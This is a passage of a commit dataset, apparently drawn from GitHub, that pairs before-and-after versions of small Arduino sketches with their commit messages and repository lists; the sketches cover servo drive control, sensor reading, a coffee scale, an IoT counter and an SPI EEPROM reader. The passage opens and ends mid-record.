it\/ESP8266-Arduino,mateuszdw\/Arduino,ogferreiro\/Arduino,niggor\/Arduino_cc,pdNor\/Arduino,EmuxEvans\/Arduino,wilhelmryan\/Arduino,fungxu\/Arduino,laylthe\/Arduino,shiitakeo\/Arduino,niggor\/Arduino_cc,ThoughtWorksIoTGurgaon\/Arduino,chaveiro\/Arduino,bsmr-arduino\/Arduino,lukeWal\/Arduino,kidswong999\/Arduino,zederson\/Arduino,wayoda\/Arduino,eduardocasarin\/Arduino,adamkh\/Arduino,mateuszdw\/Arduino,jaimemaretoli\/Arduino,steamboating\/Arduino,karlitxo\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Cloudino\/Arduino,henningpohl\/Arduino,steamboating\/Arduino,karlitxo\/Arduino,mattvenn\/Arduino,gberl001\/Arduino,ashwin713\/Arduino,laylthe\/Arduino,zaiexx\/Arduino,tannewt\/Arduino,Gourav2906\/Arduino,SmartArduino\/Arduino-1,Cloudino\/Cloudino-Arduino-IDE,ForestNymph\/Arduino_sources,KlaasDeNys\/Arduino,superboonie\/Arduino,tbowmo\/Arduino,garci66\/Arduino,PaoloP74\/Arduino,karlitxo\/Arduino,xxxajk\/Arduino-1,snargledorf\/Arduino,bigjosh\/Arduino,karlitxo\/Arduino,xxxajk\/Arduino-1,onovy\/Arduino,noahchense\/Arduino-1,ogferreiro\/Arduino,PeterVH\/Arduino,koltegirish\/Arduino,spapadim\/Arduino,lukeWal\/Arduino,onovy\/Arduino,vbextreme\/Arduino,snargledorf\/Arduino,ccoenen\/Arduino,majenkotech\/Arduino,NeuralSpaz\/Arduino,radut\/Arduino,KlaasDeNys\/Arduino,mattvenn\/Arduino,leftbrainstrain\/Arduino-ESP8266,tannewt\/Arduino,stevemayhew\/Arduino,mangelajo\/Arduino,fungxu\/Arduino,damellis\/Arduino,wilhelmryan\/Arduino,jmgonzalez00449\/Arduino,paulmand3l\/Arduino,radut\/Arduino,xxxajk\/Arduino-1,byran\/Arduino,KlaasDeNys\/Arduino,ForestNymph\/Arduino_sources,eeijcea\/Arduino-1,OpenDevice\/Arduino,ikbelkirasan\/Arduino,paulo-raca\/ESP8266-Arduino,wayoda\/Arduino,ari-analytics\/Arduino,HCastano\/Arduino,smily77\/Arduino,nandojve\/Arduino,tannewt\/Arduino,stevemayhew\/Arduino,andyvand\/Arduino-1,NicoHood\/Arduino,ari-analytics\/Arduino,probonopd\/Arduino,wayoda\/Arduino,ogahara\/Arduino,ssvs111\/Arduino,tskurauskas\/Arduino,snargledorf\/Arduino,eddyst\/Arduino-SourceCode,jomolinare\/Arduino,eddyst\/Arduino-SourceCode,bigjosh\/Arduino,acosinwork\/Arduino,OpenDevice\/Arduino,ccoenen\/Arduino,vbextreme\/Arduino,noahchense\/Arduino-1,ThoughtWorksIoTGurgaon\/Arduino,snargledorf\/Arduino,radut\/Arduino,PaoloP74\/Arduino,chaveiro\/Arduino,paulo-raca\/ESP8266-Arduino,pdNor\/Arduino,SmartArduino\/Arduino-1,ogferreiro\/Arduino,cscenter\/Arduino,aichi\/Arduino-2,mangelajo\/Arduino,sanyaade-iot\/Arduino-1,NicoHood\/Arduino,zenmanenergy\/Arduino,EmuxEvans\/Arduino,shannonshsu\/Arduino,zaiexx\/Arduino,HCastano\/Arduino,garci66\/Arduino,raimohanska\/Arduino,ntruchsess\/Arduino-1,gonium\/Arduino,tomkrus007\/Arduino,stevemayhew\/Arduino,EmuxEvans\/Arduino,superboonie\/Arduino,danielchalef\/Arduino,Chris--A\/Arduino,OpenDevice\/Arduino,ForestNymph\/Arduino_sources,arunkuttiyara\/Arduino,zenmanenergy\/Arduino,nandojve\/Arduino,Protoneer\/Arduino,tannewt\/Arduino,tskurauskas\/Arduino,eeijcea\/Arduino-1,sanyaade-iot\/Arduino-1,jabezGit\/Arduino,ogahara\/Arduino,adafruit\/ESP8266-Arduino,bsmr-arduino\/Arduino,raimohanska\/Arduino,sanyaade-iot\/Arduino-1,PeterVH\/Arduino,NaSymbol\/Arduino,spapadim\/Arduino,cscenter\/Arduino,stickbreaker\/Arduino,smily77\/Arduino,chaveiro\/Arduino,Protoneer\/Arduino,acosinwork\/Arduino,henningpohl\/Arduino,Gourav2906\/Arduino,Chris--A\/Arduino,tbowmo\/Arduino,weera00\/Arduino,lulufei\/Arduino,Cloudino\/Arduino,henningpohl\/Arduino,noahchense\/Arduino-1,mangelajo\/Arduino,talhaburak\/Arduino,ari-analytics\/Arduino,drpjk\/Arduino,zederson\/Arduino,talhaburak\/Arduino,NaSymbol\/Arduino,adafruit\/ESP8266-Arduino,jabezGit\/Arduino,pdNor\/Arduino,niggor\/Arduino_cc,stevemayhew\/Arduino,eeijcea\/Arduino-1,damellis\/Arduino,me-no-dev\/Arduino-1,wdoganowski\/Arduino,ssvs111\/Arduino,henningpohl\/Arduino,ashwin713\/Arduino,PeterVH\/Arduino,NicoHood\/Arduino,raimohanska\/Arduino,paulmand3l\/Arduino,onovy\/Arduino,zaiexx\/Arduino,byran\/Arduino,eggfly\/arduino,ari-analytics\/Arduino,nandojve\/Arduino,myrtleTree33\/Arduino,steamboating\/Arduino,gonium\/Arduino,koltegirish\/Arduino,myrtleTree33\/Arduino,mattvenn\/Arduino,tommyli2014\/Arduino,kidswong999\/Arduino,wdoganowski\/Arduino,chaveiro\/Arduino,jaimemaretoli\/Arduino,vbextreme\/Arduino,ntruchsess\/Arduino-1,kidswong999\/Arduino,talhaburak\/Arduino,Protoneer\/Arduino,byran\/Arduino,koltegirish\/Arduino,ashwin713\/Arduino,snargledorf\/Arduino,steamboating\/Arduino,spapadim\/Arduino,wdoganowski\/Arduino,eddyst\/Arduino-SourceCode,zaiexx\/Arduino,jamesrob4\/Arduino,bigjosh\/Arduino,jomolinare\/Arduino,laylthe\/Arduino,noahchense\/Arduino-1,spapadim\/Arduino,noahchense\/Arduino-1,jabezGit\/Arduino,gestrem\/Arduino,zaiexx\/Arduino,paulmand3l\/Arduino,Protoneer\/Arduino,ogahara\/Arduino,shannonshsu\/Arduino,jamesrob4\/Arduino,drpjk\/Arduino,karlitxo\/Arduino,jaehong\/Xmegaduino,spapadim\/Arduino,tomkrus007\/Arduino,jaimemaretoli\/Arduino,tannewt\/Arduino,aichi\/Arduino-2,nkolban\/Arduino,zenmanenergy\/Arduino,Cloudino\/Arduino,jamesrob4\/Arduino,stickbreaker\/Arduino,probonopd\/Arduino,gestrem\/Arduino,koltegirish\/Arduino,tskurauskas\/Arduino,me-no-dev\/Arduino-1,drpjk\/Arduino,lulufei\/Arduino,kidswong999\/Arduino,shannonshsu\/Arduino,andyvand\/Arduino-1,eggfly\/arduino,danielchalef\/Arduino,mangelajo\/Arduino,radut\/Arduino,xxxajk\/Arduino-1,eeijcea\/Arduino-1,byran\/Arduino,spapadim\/Arduino,Gourav2906\/Arduino,niggor\/Arduino_cc,Cloudino\/Cloudino-Arduino-IDE,majenkotech\/Arduino,aichi\/Arduino-2,tskurauskas\/Arduino,lukeWal\/Arduino,wayoda\/Arduino,jmgonzalez00449\/Arduino,paulmand3l\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,gestrem\/Arduino,jmgonzalez00449\/Arduino,ricklon\/Arduino,sanyaade-iot\/Arduino-1,vbextreme\/Arduino,ari-analytics\/Arduino,bsmr-arduino\/Arduino,Alfredynho\/AgroSis,probonopd\/Arduino,andyvand\/Arduino-1,me-no-dev\/Arduino-1,onovy\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,tomkrus007\/Arduino,tbowmo\/Arduino,jaimemaretoli\/Arduino,paulo-raca\/ESP8266-Arduino,talhaburak\/Arduino,eddyst\/Arduino-SourceCode,tannewt\/Arduino,aichi\/Arduino-2,drpjk\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,tommyli2014\/Arduino,onovy\/Arduino,wilhelmryan\/Arduino,nandojve\/Arduino,Gourav2906\/Arduino,damellis\/Arduino,gestrem\/Arduino,smily77\/Arduino,byran\/Arduino,bigjosh\/Arduino,SmartArduino\/Arduino-1,nandojve\/Arduino,NeuralSpaz\/Arduino,eggfly\/arduino,snargledorf\/Arduino,SmartArduino\/Arduino-1,NaSymbol\/Arduino,gberl001\/Arduino,ssvs111\/Arduino,drpjk\/Arduino,bigjosh\/Arduino,jaehong\/Xmegaduino,Cloudino\/Cloudino-Arduino-IDE,wdoganowski\/Arduino,jamesrob4\/Arduino,majenkotech\/Arduino,Chris--A\/Arduino,pdNor\/Arduino,eeijcea\/Arduino-1,me-no-dev\/Arduino-1,steamboating\/Arduino,bigjosh\/Arduino,ogahara\/Arduino,bsmr-arduino\/Arduino,nandojve\/Arduino,ForestNymph\/Arduino_sources,superboonie\/Arduino,xxxajk\/Arduino-1,vbextreme\/Arduino,paulo-raca\/ESP8266-Arduino,eduardocasarin\/Arduino,me-no-dev\/Arduino-1,majenkotech\/Arduino,Alfredynho\/AgroSis,ashwin713\/Arduino,cscenter\/Arduino"} {"commit":"b9103f07cddbca791bf262913bf68e5d3ad60dda","old_file":"examples\/DroneSimpleRadioDrive\/DroneSimpleRadioDrive.ino","new_file":"examples\/DroneSimpleRadioDrive\/DroneSimpleRadioDrive.ino","old_contents":"#include \n\nServoGenerator::Servo drive, steer;\n\nvoid setup() {\n drive.attach(12 \/* APM pin 1 *\/);\n steer.attach(11 \/* APM pin 2 *\/);\n\n ServoGenerator::begin();\n\n \/\/set the initial throttle\/direction for the ESC\/servo\n drive.write(90);\n steer.write(90);\n\n APMRadio::setup();\n Serial.begin(9600);\n\n \/\/delay 2 seconds for arming\n delay(2000);\n}\n\nvoid loop() {\n static uint32_t timer = micros();\n uint32_t dt = timer+micros();\n timer = -micros();\n\n int driveSig = APMRadio::get(0);\n int steerSig = APMRadio::get(1);\n\n Serial.print(dt);\n Serial.print(\" \");\n Serial.print(driveSig);\n Serial.print(\" \");\n Serial.print(steerSig);\n Serial.println();\n\n drive.write( driveSig );\n steer.write( steerSig );\n}\n","new_contents":"#include \n\nServoGenerator::Servo drive, steer, backsteer;\n\nvoid setup() {\n drive.attach(12 \/* APM pin 1 *\/);\n steer.attach(11 \/* APM pin 2 *\/);\n backsteer.attach(8 \/* APM pin 3 *\/);\n\n ServoGenerator::begin();\n\n \/\/set the initial throttle\/direction for the ESC\/servo\n drive.write(90);\n steer.write(90);\n backsteer.write(90);\n\n APMRadio::setup();\n Serial.begin(9600);\n\n \/\/delay 2 seconds for arming\n delay(2000);\n}\n\nvoid loop() {\n static uint32_t timer = micros();\n uint32_t dt = timer+micros();\n timer = -micros();\n\n int driveSig = APMRadio::get(0);\n int steerSig = APMRadio::get(1);\n\n Serial.print(dt);\n Serial.print(\" \");\n Serial.print(driveSig);\n Serial.print(\" \");\n Serial.print(steerSig);\n Serial.println();\n\n drive.write( driveSig );\n steer.write( steerSig );\n backsteer.write( 90 - steerSig );\n}\n","subject":"Add backsteer to drone radio drive","message":"Add backsteer to drone radio drive\n","lang":"Arduino","license":"apache-2.0","repos":"MINDS-i\/MINDS-i-Drone,MINDS-i\/MINDS-i-Drone"} {"commit":"2263c84c7a910474c0e2b8b5ab96c91b49aea910","old_file":"arduinoApp\/gardenSketch\/gardenSketch.ino","new_file":"arduinoApp\/gardenSketch\/gardenSketch.ino","old_contents":"\/*\nArduino based self regulating kitchen garden\n \n *\/\n \n\n#include \n\n\/\/ temperature related setup\n#define DHTPIN 2 \/\/ Humidity and temperature sensor pin\n#define DHTTYPE DHT22 \/\/ Model DHT 22 (AM2302)\nDHT airSensor(DHTPIN, DHTTYPE); \/\/ setup DHT sensor\nfloat airHumidity;\nfloat airTemperature;\n\n\/\/ light related setup\nint lightSensorPin = 3; \/\/ Set to whereever light sensor is connected\nint lampRelay = 4; \/\/ Set to whereever relay for lamp is connected\n\n\/\/ activity led setup\nint ledPin = 13; \/\/ this is just for checking activity\n\n\/\/ Initialize settings\nvoid setup() {\n \/\/ Initialize output pins.\n pinMode(ledPin, OUTPUT);\n\n \/\/ Initialize input pins.\n pinMode(lightSensorPin, INPUT);\n\n airSensor.begin(); \/\/ begin DHT so it is ready for reading\n\n}\n\n\/\/ Main loop\nvoid loop() { \n \/\/ Read sensor values\n analogRead(lightSensorPin);\n airSensor.readHumidity(); \/\/ read humidity from DHT\n airSensor.readTemperature(); \/\/ read temperature from DHT\n\n\n}\n\n","new_contents":"\/*\nArduino based self regulating kitchen garden\n \n *\/\n\n#include \n#include \n\n\/\/ soil related setup\n#define soilDataPin 3\n#define soilClockPin 4\nSHT1x soilSensor(soilDataPin, soilClockPin);\nfloat soilTemperature;\nfloat soilMoisture;\n\n\/\/ air temperature related setup\n#define DHTPIN 2 \/\/ Humidity and temperature sensor pin\n#define DHTTYPE DHT22 \/\/ Model DHT 22 (AM2302)\nDHT airSensor(DHTPIN, DHTTYPE); \/\/ setup DHT sensor\nfloat airHumidity;\nfloat airTemperature;\n\n\/\/ light related setup\n#define lightSensorPin A0 \/\/ Set to whereever light sensor is connected\n\n\/\/ activity led setup\nint ledPin = 13; \/\/ this is just for checking activity\n\n\/\/ Initialize settings\nvoid setup() {\n \/\/ Initialize output pins.\n pinMode(ledPin, OUTPUT);\n\n \/\/ Initialize input pins.\n pinMode(lightSensorPin, INPUT); \/\/ Is this needed? It is analog pin..\n \n airSensor.begin(); \/\/ begin DHT so it is ready for reading\n\n}\n\n\/\/ Main loop\nvoid loop() { \n \/\/ Read sensor values\n analogRead(lightSensorPin); \/\/ read light level from LDR\n airSensor.readHumidity(); \/\/ read humidity from DHT\n airSensor.readTemperature(); \/\/ read temperature from DHT\n sht1x.readTemperatureC(); \/\/ read humidity from SHT10\n sht1x.readHumidity(); \/\/ read temperature from SHT10\n\n\n}\n\n\n","subject":"Add SHT10 sensor and fix some setup","message":"Add SHT10 sensor and fix some setup\n","lang":"Arduino","license":"apache-2.0","repos":"eikooc\/KitchenGarden,eikooc\/KitchenGarden,eikooc\/KitchenGarden,eikooc\/KitchenGarden"} {"commit":"93650e833c64ef21e7318b22e37d125328169ce8","old_file":"bolt-arduino.ino","new_file":"bolt-arduino.ino","old_contents":"#ifndef BOLTARDUINO\n#define BOLTARDUINO\n\n#include \"button.h\"\n#include \"led.h\"\n#include \"screen.h\"\n#include \"game.h\"\n#include \"const.h\"\n#include \"clock.h\"\n\n\nvoid setup() {\n Serial.begin(115200);\n\n \/\/Attach interrupt for 64 button shield \n attachInterrupt(digitalPinToInterrupt(P_BUTTON_INTERRUPT), button_ISR, FALLING);\n\n \/\/Generate new random seed\n randomSeed(analogRead(0));\n}\n\nvoid loop() {\n screen_display(\"READY\");\n \n led_set(1, LED_STATE_FLASHING);\n button_wait(1);\n\n game_start();\n}\n\n#endif\n","new_contents":"#ifndef BOLTARDUINO\n#define BOLTARDUINO\n\n#include \"button.h\"\n#include \"led.h\"\n#include \"screen.h\"\n#include \"game.h\"\n#include \"const.h\"\n#include \"clock.h\"\n#include \"controller.h\"\n\n\nvoid setup() {\n Serial.begin(115200);\n\n \/\/Attach interrupt for 64 button shield \n attachInterrupt(digitalPinToInterrupt(P_BUTTON_INTERRUPT), button_ISR, FALLING);\n\n \/\/Generate new random seed\n randomSeed(analogRead(0));\n}\n\nvoid loop() {\n screen_display(\"READY\");\n \n led_set(1, LED_STATE_FLASHING);\n button_wait(1);\n\n game_start();\n}\n\n#endif\n","subject":"Add missing import to main .ino file","message":"Add missing import to main .ino file\n","lang":"Arduino","license":"mit","repos":"SUPERETDUPER\/bolt-arduino"} {"commit":"ffa95f67e90df3507d71b2cbdce57fff4c8d07c6","old_file":"coffee-scale.ino","new_file":"coffee-scale.ino","old_contents":"#include \n#include \n\n#include \"TimerDisplay.h\"\n#include \"GramsDisplay.h\"\n\n#define DISP_TIMER_CLK 2\n#define DISP_TIMER_DIO 3\n#define DISP_SCALE_CLK 8\n#define DISP_SCALE_DIO 9\n#define SCALE_DT A2\n#define SCALE_SCK A1\n\n#define FILTER_SIZE 10\n\n#define SCALE_FACTOR 1874\n#define SCALE_OFFSET 984550\n\nTimerDisplay timerDisplay(DISP_TIMER_CLK, DISP_TIMER_DIO);\nGramsDisplay gramsDisplay(DISP_SCALE_CLK, DISP_SCALE_DIO);\nHX711 scale;\nRunningAverage filter(FILTER_SIZE);\nfloat weight_in_grams;\n\n\nvoid setup() {\n \/\/ Serial comm\n Serial.begin(38400);\n\n \/\/ Load cell\n scale.begin(SCALE_DT, SCALE_SCK);\n scale.set_scale(SCALE_FACTOR);\n scale.set_offset(SCALE_OFFSET);\n\n \/\/ Filter\n filter.clear();\n}\n\n\n\nvoid loop() {\n filter.addValue(scale.get_units());\n weight_in_grams = filter.getAverage();\n gramsDisplay.displayGrams(weight_in_grams);\n\n if (weight_in_grams > 1)\n timerDisplay.start();\n else\n timerDisplay.stop();\n\n timerDisplay.refresh();\n}\n","new_contents":"#include \n#include \n\n#include \"TimerDisplay.h\"\n#include \"GramsDisplay.h\"\n\n#define DISP_TIMER_CLK 2\n#define DISP_TIMER_DIO 3\n#define DISP_SCALE_CLK 8\n#define DISP_SCALE_DIO 9\n#define SCALE_DT A2\n#define SCALE_SCK A1\n\n#define FILTER_SIZE 10\n\n#define SCALE_FACTOR 1874\n#define SCALE_OFFSET 984550\n\nTimerDisplay timerDisplay(DISP_TIMER_CLK, DISP_TIMER_DIO);\nGramsDisplay gramsDisplay(DISP_SCALE_CLK, DISP_SCALE_DIO);\nHX711 scale;\nRunningAverage filter(FILTER_SIZE);\nfloat weight_in_grams;\n\nvoid setup()\n{\n \/\/ Serial comm\n Serial.begin(38400);\n\n \/\/ Load cell\n scale.begin(SCALE_DT, SCALE_SCK);\n scale.set_scale(SCALE_FACTOR);\n scale.set_offset(SCALE_OFFSET);\n\n \/\/ Filter\n filter.clear();\n}\n\n\nvoid loop()\n{\n filter.addValue(scale.get_units());\n weight_in_grams = filter.getAverage();\n gramsDisplay.displayGrams(weight_in_grams);\n\n if (weight_in_grams > 1)\n timerDisplay.start();\n else\n timerDisplay.stop();\n\n timerDisplay.refresh();\n}\n","subject":"Put opening braces on separate line","message":"Put opening braces on separate line\n","lang":"Arduino","license":"mit","repos":"mortenfyhn\/coffee-scales"} {"commit":"e7edbed6c37a8de4abdef71d83445f137da2c881","old_file":"counter\/counter.ino","new_file":"counter\/counter.ino","old_contents":"#include \n\n#include \"logger.h\"\n\n#include \"thingspeakReceiver.h\"\nThingspeakReceiver thingspeakReceiver;\n\n#include \n#include \n#include \n\n#define PIN_LED 13\n\nAdafruit_7segment matrix = Adafruit_7segment();\n\nvoid setup() {\n pinMode(PIN_LED, OUTPUT);\n\n Bridge.begin(); \/\/Yun Bridge\n logger->init();\n\n \/\/ init 7-segments matrix\n matrix.begin(0x70);\n matrix.setBrightness(2);\n displayCounter(0);\n\n\n \/\/setup the IoT platforms\n logger->log(\"Start setup connection with IoT platforms...\\n\");\n thingspeakReceiver.init();\n\n \/\/Everything seems to be ok, let's start !\n logger->log(\"\\nBottle Opener up, Let's start to play :) !!!\\n\");\n\n \/\/highlight blue led just to prevent everything is OK. Useful when logs are disabled\n digitalWrite(PIN_LED, HIGH);\n}\n\n\/**\n Arduino Loop\n*\/\nvoid loop() {\n int counter = thingspeakReceiver.receiveCounter();\n\n displayCounter(counter);\n\n delay(500);\n}\n\n\/**\n Display Counter on è\n*\/\nvoid displayCounter(int counter) {\n matrix.print(counter);\n matrix.writeDisplay();\n}\n\n","new_contents":"#include \n\n#include \"logger.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Include of Iot Platform's connectors\n#include \"thingspeakReceiver.h\"\nThingspeakReceiver thingspeakReceiver;\nint thingsSpeakCounter = 0;\n\n#include \"shiftrConnector.h\"\nShiftrConnector shiftrConnector;\nint shiftrCounter = 0;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \n#include \n#include \n\n#define PIN_LED 13\n\nAdafruit_7segment matrix = Adafruit_7segment();\n\nvoid setup() {\n pinMode(PIN_LED, OUTPUT);\n\n Bridge.begin(); \/\/Yun Bridge\n logger->init();\n\n \/\/ init 7-segments matrix\n matrix.begin(0x70);\n matrix.setBrightness(2);\n displayCounter(0);\n\n\n \/\/setup the IoT platforms\n logger->log(\"Start setup connection with IoT platforms...\\n\");\n thingspeakReceiver.init();\n shiftrConnector.init();\n\n \/\/Everything seems to be ok, let's start !\n logger->log(\"\\nBottle Opener up, Let's start to play :) !!!\\n\");\n\n \/\/highlight blue led just to prevent everything is OK. Useful when logs are disabled\n digitalWrite(PIN_LED, HIGH);\n}\n\n\/**\n Arduino Loop\n*\/\nvoid loop() {\n \/\/need to refresh shiftr API in order to send and receive new messages\n shiftrConnector.loop();\n\n thingsSpeakCounter = thingspeakReceiver.receiveCounter();\n shiftrCounter = shiftrConnector.receiveMessage();\n\n \/\/display whatever counter, they should be the same, independently of the platform\n displayCounter(shiftrCounter);\n\n delay(10);\n}\n\n\/**\n Display Counter on è\n*\/\nvoid displayCounter(int counter) {\n matrix.print(counter);\n matrix.writeDisplay();\n}\n\n","subject":"Use of ShiftrConnector as receiver","message":"Use of ShiftrConnector as receiver\n","lang":"Arduino","license":"mit","repos":"Zenika\/bottleopener_iot,Zenika\/bottleopener_iot,Zenika\/bottleopener_iot,Zenika\/bottleopener_iot"} {"commit":"86bc4fa88dd808961f9faa874a7a4d7758359aca","old_file":"examples\/Basics\/PowerOFF\/PowerOFF.ino","new_file":"examples\/Basics\/PowerOFF\/PowerOFF.ino","old_contents":"#include \n\n\/\/ the setup routine runs once when M5Stack starts up\nvoid setup(){\n\n \/\/ initialize the M5Stack object\n M5.begin();\n\n \/\/ Lcd display\n M5.Lcd.println(\"This is software power off demo\");\n M5.Lcd.println(\"Press the button A to power off.\");\n \n \/\/ Set the wakeup button\n M5.Power.setWakeupButton(BUTTON_A_PIN);\n}\n\n\/\/ the loop routine runs over and over again forever\nvoid loop() {\n\n if(M5.BtnA.wasPressed()) {\n M5.Power.powerOFF();\n }\n\n M5.update();\n}\n","new_contents":"#include \n\n\/\/ the setup routine runs once when M5Stack starts up\nvoid setup(){\n\n \/\/ initialize the M5Stack object\n M5.begin();\n\n \/\/ Lcd display\n M5.Lcd.println(\"This is software power off demo\");\n M5.Lcd.println(\"Press the button A to power off.\");\n}\n\n\/\/ the loop routine runs over and over again forever\nvoid loop() {\n\n if(M5.BtnA.wasPressed()) {\n M5.Power.powerOFF();\n }\n\n M5.update();\n}\n","subject":"Remove settin wakeup button from poserOFF example","message":"Remove settin wakeup button from poserOFF example","lang":"Arduino","license":"mit","repos":"m5stack\/M5Stack,m5stack\/M5Stack,m5stack\/M5Stack"} {"commit":"a852f5cda020742a2225ae5de40df05ffba84349","old_file":"counter\/counter.ino","new_file":"counter\/counter.ino","old_contents":"#include \n\n#include \"thingspeakReceiver.h\"\nThingspeakReceiver thingspeakReceiver;\n\n#include \n#include \n#include \n\n#define PIN_LED_KO 12\n#define PIN_LED_OK 13\n\nAdafruit_7segment matrix = Adafruit_7segment();\n\nvoid setup() {\n pinMode(PIN_LED_KO, OUTPUT);\n pinMode(PIN_LED_OK, OUTPUT);\n\n _setKO();\n\n Bridge.begin(); \/\/Yun Bridge\n Serial.begin(9600);\n while (!Serial);\n\n matrix.begin(0x70);\n matrix.setBrightness(2);\n displayCounter(0);\n\n thingspeakReceiver.init();\n\n Serial.println(\"Counter Up !!!\");\n\n _setOK();\n\n}\n\nvoid loop() {\n int counter = thingspeakReceiver.receiveCounter();\n\n displayCounter(counter);\n\n delay(100);\n}\n\nvoid displayCounter(int counter) {\n matrix.print(counter);\n matrix.writeDisplay();\n\n Serial.println(counter);\n}\n\n\nvoid _setOK() {\n digitalWrite(PIN_LED_KO, LOW);\n digitalWrite(PIN_LED_OK, HIGH);\n}\n\nvoid _setKO() {\n digitalWrite(PIN_LED_OK, LOW);\n digitalWrite(PIN_LED_KO, HIGH);\n}\n","new_contents":"#include \n\n#include \"logger.h\"\n\n#include \"thingspeakReceiver.h\"\nThingspeakReceiver thingspeakReceiver;\n\n#include \n#include \n#include \n\n#define PIN_LED 13\n\nAdafruit_7segment matrix = Adafruit_7segment();\n\nvoid setup() {\n pinMode(PIN_LED, OUTPUT);\n\n Bridge.begin(); \/\/Yun Bridge\n logger->init();\n\n \/\/ init 7-segments matrix\n matrix.begin(0x70);\n matrix.setBrightness(2);\n displayCounter(0);\n\n\n \/\/setup the IoT platforms\n logger->log(\"Start setup connection with IoT platforms...\\n\");\n thingspeakReceiver.init();\n\n \/\/Everything seems to be ok, let's start !\n logger->log(\"\\nBottle Opener up, Let's start to play :) !!!\\n\");\n\n \/\/highlight blue led just to prevent everything is OK. Useful when logs are disabled\n digitalWrite(PIN_LED, HIGH);\n}\n\n\/**\n Arduino Loop\n*\/\nvoid loop() {\n int counter = thingspeakReceiver.receiveCounter();\n\n displayCounter(counter);\n\n delay(500);\n}\n\n\/**\n Display Counter on è\n*\/\nvoid displayCounter(int counter) {\n matrix.print(counter);\n matrix.writeDisplay();\n}\n\n","subject":"Remove non-necessary code for the demo","message":"Remove non-necessary code for the demo\n","lang":"Arduino","license":"mit","repos":"Zenika\/bottleopener_iot,Zenika\/bottleopener_iot,Zenika\/bottleopener_iot,Zenika\/bottleopener_iot"} {"commit":"2853f90a74444ba7782239d016a3bbd18168f33b","old_file":"spi_read_eeprom.ino","new_file":"spi_read_eeprom.ino","old_contents":"#include \n\n#define SPI_READ_CMD 0x03\n#define CS_PIN 10\n\nunsigned int num_bytes;\nunsigned int i;\n\nvoid setup() {\n Serial.begin(115200);\n\n pinMode(CS_PIN, OUTPUT);\n digitalWrite(CS_PIN, HIGH);\n SPI.begin();\n}\n\nvoid read_eeprom(unsigned int num_bytes) {\n unsigned int addr;\n byte resp;\n\n digitalWrite(CS_PIN, LOW);\n\n \/* transmit read command with 3 byte start address *\/\n SPI.transfer(SPI_READ_CMD);\n SPI.transfer(0x00);\n SPI.transfer(0x00);\n SPI.transfer(0x00);\n\n for (addr = 0; addr < num_bytes; addr++) {\n resp = SPI.transfer(0xff);\n Serial.write(resp);\n }\n digitalWrite(CS_PIN, HIGH);\n}\n\nvoid loop() {\n\n \/* wait for the integer with the requested number of bytes *\/\n if (Serial.available() == 4) {\n num_bytes = 0;\n\n \/* merge four bytes to single integer *\/\n for (i = 0; i < 4; i++)\n num_bytes |= Serial.read() << (i * 8);\n\n read_eeprom(num_bytes);\n }\n}\n\n","new_contents":"#include \n\n#define SPI_READ_CMD 0x03\n#define CS_PIN 10\n\nvoid setup() {\n Serial.begin(115200);\n\n pinMode(CS_PIN, OUTPUT);\n digitalWrite(CS_PIN, HIGH);\n SPI.begin();\n}\n\nvoid read_eeprom(unsigned int num_bytes) {\n unsigned int addr;\n byte resp;\n\n digitalWrite(CS_PIN, LOW);\n\n \/* transmit read command with 3 byte start address *\/\n SPI.transfer(SPI_READ_CMD);\n SPI.transfer(0x00);\n SPI.transfer(0x00);\n SPI.transfer(0x00);\n\n for (addr = 0; addr < num_bytes; addr++) {\n resp = SPI.transfer(0xff);\n Serial.write(resp);\n }\n digitalWrite(CS_PIN, HIGH);\n}\n\nvoid loop() {\n unsigned int num_bytes;\n unsigned int i;\n\n \/* wait for the integer with the requested number of bytes *\/\n if (Serial.available() == 4) {\n num_bytes = 0;\n\n \/* merge four bytes to single integer *\/\n for (i = 0; i < 4; i++)\n num_bytes |= Serial.read() << (i * 8);\n\n read_eeprom(num_bytes);\n }\n}\n\n","subject":"Convert global variables to local","message":"Convert global variables to local\n\nJust a minor edit to move these (unnecessary) global variables into local scope.","lang":"Arduino","license":"mit","repos":"andre-richter\/arduino-spi-read-eeprom,andre-richter\/arduino-spi-read-eeprom"} {"commit":"b0b2f48534069cd51a30bde092466a4474e0cb53","old_file":"Proto-1\/Proto-1.ino","new_file":"Proto-1\/Proto-1.ino","old_contents":"#include \n#include \n\nstatic constexpr unsigned long TimeChunk = 2 * 1000;\n\nstatic LiquidCrystal_I2C lcd(0x27, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE);\nstatic unsigned long endTime;\nstatic bool previousPressed;\n\nvoid setup()\n{\n\tlcd.begin(16,2);\n\tlcd.backlight();\n\n\tpinMode(A0, INPUT_PULLUP);\n\tdelay(10);\n\n\tendTime = millis() + 10000 * TimeChunk;\n\tpreviousPressed = false;\n}\n\nvoid loop()\n{\n\tlcd.setCursor(0,0);\n\n\tunsigned long currentTime = millis();\n\tif (currentTime >= endTime)\n\t{\n\t\tlcd.print(\"GAME OVER!\");\n\t}\n\telse\n\t{\n\t\tbool currentPressed = digitalRead(A0);\n\t\tif (currentPressed && !previousPressed)\n\t\t{\n\t\t\tendTime += 10 * TimeChunk;\n\t\t}\n\t\tpreviousPressed = currentPressed;\n\n\t\tunsigned long remainingChunk = (endTime - currentTime) \/ TimeChunk;\n\t\tchar buf[12];\n\t\tlcd.print(itoa(remainingChunk, buf, 10));\n\t}\n\n\tdelay(10);\n}\n","new_contents":"#include \n#include \n\nstatic constexpr unsigned long TimeChunk = 2 * 1000;\n\nstatic LiquidCrystal_I2C lcd(0x27, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE);\nstatic unsigned long endTime;\nstatic bool previousPressed;\n\nvoid setup()\n{\n\tlcd.begin(16,2);\n\tlcd.backlight();\n\n\tpinMode(A0, INPUT_PULLUP);\n\tdelay(10);\n\n\tendTime = millis() + 10000 * TimeChunk;\n\tpreviousPressed = HIGH;\n}\n\nvoid loop()\n{\n\tlcd.setCursor(0,0);\n\n\tunsigned long currentTime = millis();\n\tif (currentTime >= 